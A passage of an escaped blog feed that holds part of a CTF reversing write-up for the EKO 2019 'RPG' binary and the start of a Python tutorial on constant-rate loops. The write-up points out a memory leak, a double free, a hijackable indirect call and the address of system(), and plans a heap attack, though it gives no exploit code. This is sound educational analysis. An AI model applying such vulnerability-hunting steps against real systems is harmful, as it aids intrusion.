&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;player_struct&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; player&amp;#39;s lives (= 16)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9kZWxldGVfcGxheWVyX2ZyZWUucG5nJyAvPgpObywgdGhlcmUgYXJlIG5vdCBtZW1vcnkgbGVha3MgaGVyZS4gVGhlICpkZWxldGUgcGxheWVyKiBmdW5jdGlvbiBpcyBhIGdvb2QgYm95LgptYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9kZWxldGVfcGxheWVyX2ZyZWUucG5nJyAvPgpObywgdGhlcmUgYXJlIG5vdCBtZW1vcnkgbGVha3MgaGVyZS4gVGhlICpkZWxldGUgcGxheWVyKiBmdW5jdGlvbiBpcyBhIGdvb2QgYm95LgptYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/writeups/eko2019/reversing/delete_player_free.png' /&gt;
No, there are not memory leaks here. The &lt;em&gt;delete player&lt;/em&gt; function is a good boy.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If this is correct, &lt;code&gt;mov     cs:player_struct, rax&lt;/code&gt; saves the &lt;em&gt;pointer&lt;/em&gt; to the struct globally, struct allocated at the begin of the block.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/writeups/eko2019/reversing/enter_player_name_loc_struct_labeled.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The key note here is that &lt;em&gt;we don’t know&lt;/em&gt;. We can just guess.&lt;/p&gt;
&lt;p&gt;But guessing is good, and the guess in one side may give use the context to understand other pieces of code.&lt;/p&gt;
&lt;h2 id="magic-numbers"&gt;Magic Numbers&lt;/h2&gt;
&lt;p&gt;The begin of the game gives us more clues&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;code&gt;time&lt;/code&gt; and &lt;code&gt;sys_alarm&lt;/code&gt; are wrappers of &lt;em&gt;syscalls&lt;/em&gt;. In Linux a syscall call is made setting the &lt;em&gt;syscall number&lt;/em&gt; in the &lt;code&gt;eax&lt;/code&gt; register and calling &lt;code&gt;syscall&lt;/code&gt; instruction. IDA detects those quite well. &lt;br /&gt; Full of shifts, multiplications and &lt;em&gt;magic numbers&lt;/em&gt; like &lt;code&gt;834E0B5Fh&lt;/code&gt; and &lt;code&gt;41C64E6Dh&lt;/code&gt;? That looks like a &lt;em&gt;congruent&lt;/em&gt; PRNG. That is how I found &lt;code&gt;srand&lt;/code&gt;.
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/writeups/eko2019/reversing/game_start_loc.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;I bet this is something like &lt;code&gt;srand(time(NULL) &amp;gt;&amp;gt; 8)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9yYW5kX2xvYy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9yYW5kX2xvYy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/writeups/eko2019/reversing/rand_loc.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;We found &lt;code&gt;srand&lt;/code&gt;, and we found the &lt;em&gt;global state&lt;/em&gt; of the PRNG at &lt;code&gt;6CC100h&lt;/code&gt;, now we can find who &lt;em&gt;updates&lt;/em&gt; that global state: the guy will probably be the &lt;code&gt;rand&lt;/code&gt; function.&lt;/p&gt;
&lt;h2 id="nice-findings"&gt;Nice Findings&lt;/h2&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9nZXRfdGltZV9sb2MucG5nJyAvPm1hcmdpbg==' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9nZXRfdGltZV9sb2MucG5nJyAvPm1hcmdpbg==' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/writeups/eko2019/reversing/get_time_loc.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;get time&lt;/em&gt; function is quite short: it is just a call to the &lt;code&gt;date&lt;/code&gt; program and no command injection is possible.&lt;/p&gt;
&lt;p&gt;However this gives us two pieces of information:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;we know the time of the remote machine: we can break things like &lt;code&gt;srand(time())&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;we know the position of the &lt;code&gt;system&lt;/code&gt; function (&lt;code&gt;0x411070&lt;/code&gt;) and a &lt;code&gt;call&lt;/code&gt; to it (&lt;code&gt;0x401258&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The &lt;em&gt;player attack&lt;/em&gt; code has a preamble of several operations but after that, there is a interesting section.&lt;/p&gt;
&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9wbGF5ZXJfYXR0YWNrX2xvYy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy93cml0ZXVwcy9la28yMDE5L3JldmVyc2luZy9wbGF5ZXJfYXR0YWNrX2xvYy5wbmcnIC8+bWFyZ2lu' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/writeups/eko2019/reversing/player_attack_loc.png' /&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;It choose a monster name and if it is &lt;code&gt;NULL&lt;/code&gt;, jumps to a block that copy the player’s name into the heap and &lt;em&gt;stores&lt;/em&gt; it in the array that initially has the names of the &lt;em&gt;monsters&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Then it is passed as the first argument of a indirect call. Initially the only function that should be called is &lt;code&gt;monster_attack&lt;/code&gt; but we may point to somewhere.&lt;/p&gt;
&lt;p&gt;Interesting things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;monster_attack&lt;/code&gt; does not free its argument so we may have a &lt;strong&gt;memory leak&lt;/strong&gt; which content is controlled by us.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;monster_attack&lt;/code&gt; does free the &lt;code&gt;player_struct&lt;/code&gt; but it doesn’t set &lt;code&gt;is_user_created&lt;/code&gt; to 0 so we may have a &lt;strong&gt;double free&lt;/strong&gt; if we call &lt;code&gt;delete_player&lt;/code&gt; later.&lt;/li&gt;
&lt;li&gt;unfortunately &lt;code&gt;monster_attack&lt;/code&gt; may return 0 that makes &lt;code&gt;player_attack&lt;/code&gt; to call &lt;code&gt;exit()&lt;/code&gt;; only under a specific path &lt;code&gt;monster_attack&lt;/code&gt; returns 1.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Something similar happen in &lt;code&gt;monster_defense&lt;/code&gt; and &lt;code&gt;roar&lt;/code&gt; functions with the exception that &lt;code&gt;roar&lt;/code&gt; returns always 0.&lt;/p&gt;
&lt;h2 id="next-steps"&gt;Next Steps&lt;/h2&gt;
&lt;p&gt;We found a &lt;strong&gt;memory leak&lt;/strong&gt; and a &lt;strong&gt;double free&lt;/strong&gt; but we don’t have a real crash. We just reviewed the code.&lt;/p&gt;
&lt;p&gt;We need to keep exploring this, here are some ideas for a future post:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://valgrind.org/"&gt;Valgrind&lt;/a&gt;: we could see if there are more memory corruptions. Play with &lt;a href="http://lcamtuf.coredump.cx/afl/"&gt;AFL&lt;/a&gt; perhaps?&lt;/li&gt;
&lt;li&gt;&lt;a href="https://angr.io/"&gt;Angr&lt;/a&gt;: trigger the leaking &lt;code&gt;strdup&lt;/code&gt; is not trivial, we may use a symbolic execution for that.&lt;/li&gt;
&lt;li&gt;Heap attack: after all, we need to know how the heap management works and plan the attack.&lt;/li&gt;
&lt;/ul&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2019/10/27/Writeup-EKO2019-RPG-Part-I-Reversing.html" rel="alternate" type="text/html" title="RPG - Part I (IDA writeup - EKO 2019)"/>
    <category term="eko" label="eko"/>
    <category term="challenge" label="challenge"/>
    <category term="reversing" label="reversing"/>
    <category term="IDA" label="IDA"/>
    <published>2019-10-27T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2019/10/23/Constant-Rate-Loop.html</id>
    <title>Constant Rate Loop</title>
    <updated>2019-10-23T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;!--more--&gt;
&lt;h2 id="motivation"&gt;Motivation&lt;/h2&gt;
&lt;p&gt;Consider a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function that renders an animation. An animation is just a list of images or frames that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will render one frame per iteration.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;global&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;     &lt;span class="c1"&gt;# pick the &amp;quot;next&amp;quot; frame&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;frames&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;frames&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;n&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;  &lt;span class="c1"&gt;# keep looping&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;render&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To get the animation effect we want to call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in a loop.&lt;/p&gt;
&lt;p&gt;We may do this:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;loop&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;But then the animation speed will be determinate by the speed of the machine: faster machines will render faster animations.&lt;/p&gt;
&lt;p&gt;Adding a &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; solves this partially&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;fixed_sleep_loop&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;label for='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9nYW1lL2NvbnN0YW50LXJhdGUtbG9vcC9jbG9ja19kcmlmdC5wbmcnIC8+ClBsb3QgdGhlIGRpZmZlcmVuY2UgYmV0d2VlbiB0aGUgcmVhbCB0aW1lIGBgbm93KClgYCBhbmQgdGhlIGV4cGVjdGVkIGluCmVhY2ggaXRlcmF0aW9uIGBgaXQgKiByYXRlYGAgbG9vcGluZyBkdXJpbmcgMSBzZWNvbmQgYXQgYSByYXRlIG9mIGBgMS82MGBgLgpVc2luZyBhICpmaXhlZCBzbGVlcCogbG9vcCB0aGUgZGlmZmVyZW5jZQppbmNyZWFzZSBsaW5lYXJseSB3aGlsZSB1c2luZyBhICpjb25zdGFudCByYXRlKiBsb29wIHRoZSBkaWZmZXJlbmNlIGlzCnF1aXRlIGxvdyBhbmQgcmVsYXRpdmVseSBjb25zdGFudC4KIFs8aSBjbGFzcz0iZmFiIGZhLWdpdGh1YiI+PC9pPiBjb2RlXSgvYXNzZXRzL2dhbWUvY29uc3RhbnQtcmF0ZS1sb29wL2Nsb2NrX2RyaWZ0LnB5KQptYXJnaW4=' class='margin-toggle'&gt;&amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='PGltZyAgY2xhc3M9J2Z1bGx3aWR0aCcgYWx0PScnIHNyYz0nL2ltZy9nYW1lL2NvbnN0YW50LXJhdGUtbG9vcC9jbG9ja19kcmlmdC5wbmcnIC8+ClBsb3QgdGhlIGRpZmZlcmVuY2UgYmV0d2VlbiB0aGUgcmVhbCB0aW1lIGBgbm93KClgYCBhbmQgdGhlIGV4cGVjdGVkIGluCmVhY2ggaXRlcmF0aW9uIGBgaXQgKiByYXRlYGAgbG9vcGluZyBkdXJpbmcgMSBzZWNvbmQgYXQgYSByYXRlIG9mIGBgMS82MGBgLgpVc2luZyBhICpmaXhlZCBzbGVlcCogbG9vcCB0aGUgZGlmZmVyZW5jZQppbmNyZWFzZSBsaW5lYXJseSB3aGlsZSB1c2luZyBhICpjb25zdGFudCByYXRlKiBsb29wIHRoZSBkaWZmZXJlbmNlIGlzCnF1aXRlIGxvdyBhbmQgcmVsYXRpdmVseSBjb25zdGFudC4KIFs8aSBjbGFzcz0iZmFiIGZhLWdpdGh1YiI+PC9pPiBjb2RlXSgvYXNzZXRzL2dhbWUvY29uc3RhbnQtcmF0ZS1sb29wL2Nsb2NrX2RyaWZ0LnB5KQptYXJnaW4=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
&lt;img  class='fullwidth' alt='' src='/img/game/constant-rate-loop/clock_drift.png' /&gt;
Plot the difference between the real time &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and the expected in each iteration &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; looping during 1 second at a rate of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;. Using a &lt;em&gt;fixed sleep&lt;/em&gt; loop the difference increase linearly while using a &lt;em&gt;constant rate&lt;/em&gt; loop the difference is quite low and relatively constant. &lt;a href="/assets/game/constant-rate-loop/clock_drift.py"&gt;&lt;i class="fab fa-github"&gt;&lt;/i&gt; code&lt;/a&gt;
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;The problem is that we are not considering neither the time elapsed in &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; nor the fact that &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; may sleep more than it should be.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;“If the interval specified not an exact multiple of the granularity underlying clock, then the interval will be rounded up to the next multiple. Furthermore, after the sleep completes, there may still be a delay before the CPU becomes free to once again execute the calling thread.” From &lt;a href="http://man7.org/linux/man-pages/man2/nanosleep.2.html"&gt;nanosleep(2)&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This error is &lt;em&gt;accumulative&lt;/em&gt;, increasing in each iteration, making the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;draw&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; out of synchronization very quickly.&lt;/p&gt;
&lt;h2 id="problem"&gt;Problem&lt;/h2&gt;
&lt;p&gt;You want to do an action every X time maintaining a constant rate.&lt;/p&gt;
&lt;h2 id="solution"&gt;Solution&lt;/h2&gt;
&lt;p&gt;The idea is to have a loop that can call a function &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; every X time, like a precise clock.&lt;/p&gt;
&lt;p&gt;If the loop gets out of sync and begins to be &lt;em&gt;behind&lt;/em&gt; schedule, the loop needs to compensate somehow to catch up.&lt;/p&gt;
&lt;p&gt;Two alternatives are possible: &lt;em&gt;drop &amp;amp; rest&lt;/em&gt; and &lt;em&gt;no rest-keep working&lt;/em&gt;&lt;/p&gt;
&lt;h3 id="if-behind-drop-rest"&gt;If behind, drop &amp;amp; rest&lt;/h3&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;constant_rate_loop&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;     &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="kc"&gt;True&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;t2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;rest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;t2&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;t1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;rest&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rest&lt;/span&gt;  &lt;span class="c1"&gt;# this is always positive&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;rest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;rest&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;lost&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;             &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lost&lt;/span&gt; &lt;span class="o"&gt;//&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;  &lt;span class="c1"&gt;# floor division&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;rest&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;t1&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;         &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The difference between &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; yields how much time we were in the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;In a normal situation, this should be &lt;em&gt;less&lt;/em&gt; than the expected rate and the loop sleeps the remaining time to complete the current iteration.&lt;/p&gt;
&lt;p&gt;The &lt;em&gt;next&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;t1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is increased by &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;rate&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;: we don’t call &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; again otherwise will be introducing a clock drift due the extra delays of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span markdown='1'&gt;
&lt;/span&gt;&lt;/figcaption&gt;
&lt;img  class='' alt='' src='/img/game/constant-rate-loop/rest-nodrop.png' /&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;That’s the happy path.&lt;/p&gt;
&lt;p&gt;But what happen if &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;func&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is too slow and takes more time than the expected for one iteration?&lt;/p&gt;
&lt;p&gt;First we determinate how much time we are &lt;em&gt;behind schedule&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;rest&lt;/span&gt;  &lt;span class="c1"&gt;# this is always positive&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, it is very likely that we are in some point in the middle, and incomplete iteration, so we calculate how much time we should sleep to synchronize ourselves with the &lt;em&gt;next&lt;/em&gt; iteration – this is the &lt;em&gt;drop &amp;amp; rest&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;    &lt;span class="n"&gt;rest&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;behind&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;rate&lt;/span&gt;
